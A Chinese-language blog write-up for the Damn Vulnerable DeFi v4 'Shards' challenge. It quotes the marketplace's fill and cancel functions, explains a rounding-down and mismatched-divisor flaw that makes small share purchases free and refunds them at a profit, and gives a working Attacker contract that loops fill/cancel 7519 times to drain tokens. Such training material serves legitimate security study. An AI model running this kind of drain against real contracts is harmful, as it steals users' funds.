Damn-vulnerable-defi-V4-solution(Shards)

2025-09-09T11:09:24

一、Shards

背景:

我们有一个销售 NFT 的市场。每个 NFT 的价格为 1,000,000e6 USDC,USDC 兑换 DVT 的汇率为 75e15。该市场允许购买 NFT 的一部分,类似于购买股票。总共有 10,000,000e18 股。问题在于 中的以下函数ShardsNFTMarketplace.sol

ShardsFeeVault市场还允许用户质押 DVT 来赚取利息,但这可能与此无关。

function fill(uint64 offerId, uint256 want) external returns (uint256 purchaseIndex) {
        Offer storage offer = offers[offerId];
        if (want == 0) revert BadAmount();
        if (offer.price == 0) revert UnknownOffer();
        if (want > offer.stock) revert OutOfStock();
        if (!offer.isOpen) revert NotOpened(offerId);

        offer.stock -= want;
        purchaseIndex = purchases[offerId].length;
        uint256 _currentRate = rate;
        purchases[offerId].push(
            Purchase({
                shards: want,
                rate: _currentRate,
                buyer: msg.sender,
                timestamp: uint64(block.timestamp),
                cancelled: false
            })
        );
        paymentToken.transferFrom(
            msg.sender, address(this), want.mulDivDown(_toDVT(offer.price, _currentRate), offer.totalShards)
        );
        if (offer.stock == 0) _closeOffer(offerId);
    }

    /**
     * @notice To cancel open offers once the waiting period is over.
     */
    function cancel(uint64 offerId, uint256 purchaseIndex) external {
        Offer storage offer = offers[offerId];
        Purchase storage purchase = purchases[offerId][purchaseIndex];
        address buyer = purchase.buyer;

        if (msg.sender != buyer) revert NotAllowed();
        if (!offer.isOpen) revert NotOpened(offerId);
        if (purchase.cancelled) revert AlreadyCancelled();
        if (
            purchase.timestamp + CANCEL_PERIOD_LENGTH < block.timestamp
                || block.timestamp > purchase.timestamp + TIME_BEFORE_CANCEL
        ) revert BadTime();

        offer.stock += purchase.shards;
        assert(offer.stock <= offer.totalShards); // invariant
        purchase.cancelled = true;

        emit Cancelled(offerId, purchaseIndex);

        paymentToken.transfer(buyer, purchase.shards.mulDivUp(purchase.rate, 1e6));
    }

    /**
     * @notice Allows an oracle account to set a new rate of DVT per USDC
     */
    function setRate(uint256 newRate) external {
        if (msg.sender != oracle) revert NotAllowed();
        if (newRate == 0 || rate == newRate) revert BadRate();
        rate = newRate;
    }

fill功能允许我们提交所需数量的股票并使用 DVT 支付:

数量 = 需求 / 总碎片数 × 价格 × 费率

= want / 10_000_000e18 × 75e15 × 1_000_000 = want × 75 / 1_0_000

攻击角度是这里的除法是向下取整的(即使用了floor函数),而Solidity只有整数,所以只要want ≤ 133,支付就是零,即我们可以提交一个fill offer获得133个免费share。

让我们看一下这个cancel函数,因为有一个关键缺陷,取消函数会取消我们提交的订单。如果我们取消订单,我们将从这个函数中得到want× 75e15 / 1e6。这里的问题是 1e6 与 1e24 不匹配,也就是总份额。也就是说,这个函数的设计存在错误cancel。因此,通过取消分片为 133 的订单,我们可以得到

133 × 75e15 / 1e6 = 9975000000000 DVT 代币。

要通过挑战,我们需要获得超过 75e15 个 DVT 代币(相当于市场初始代币数量的 1/10000)。因此,我们至少需要 75e15 / 9975000000000 = 7519 次才能达到目标。

function test_shards() public checkSolvedByPlayer {
        new Attacker(marketplace, token, recovery);
    }
contract Attacker {
    constructor(ShardsNFTMarketplace marketPlace, DamnValuableToken token, address recovery) {
        for (uint256 i = 0; i < 7519; i++) {
            marketPlace.fill(1, 133);
            marketPlace.cancel(1, i);
        }
        token.transfer(recovery, token.balanceOf(address(this)));
    }
}
当前页面是本站的「Baidu MIP」版。发表评论请点击:完整版 »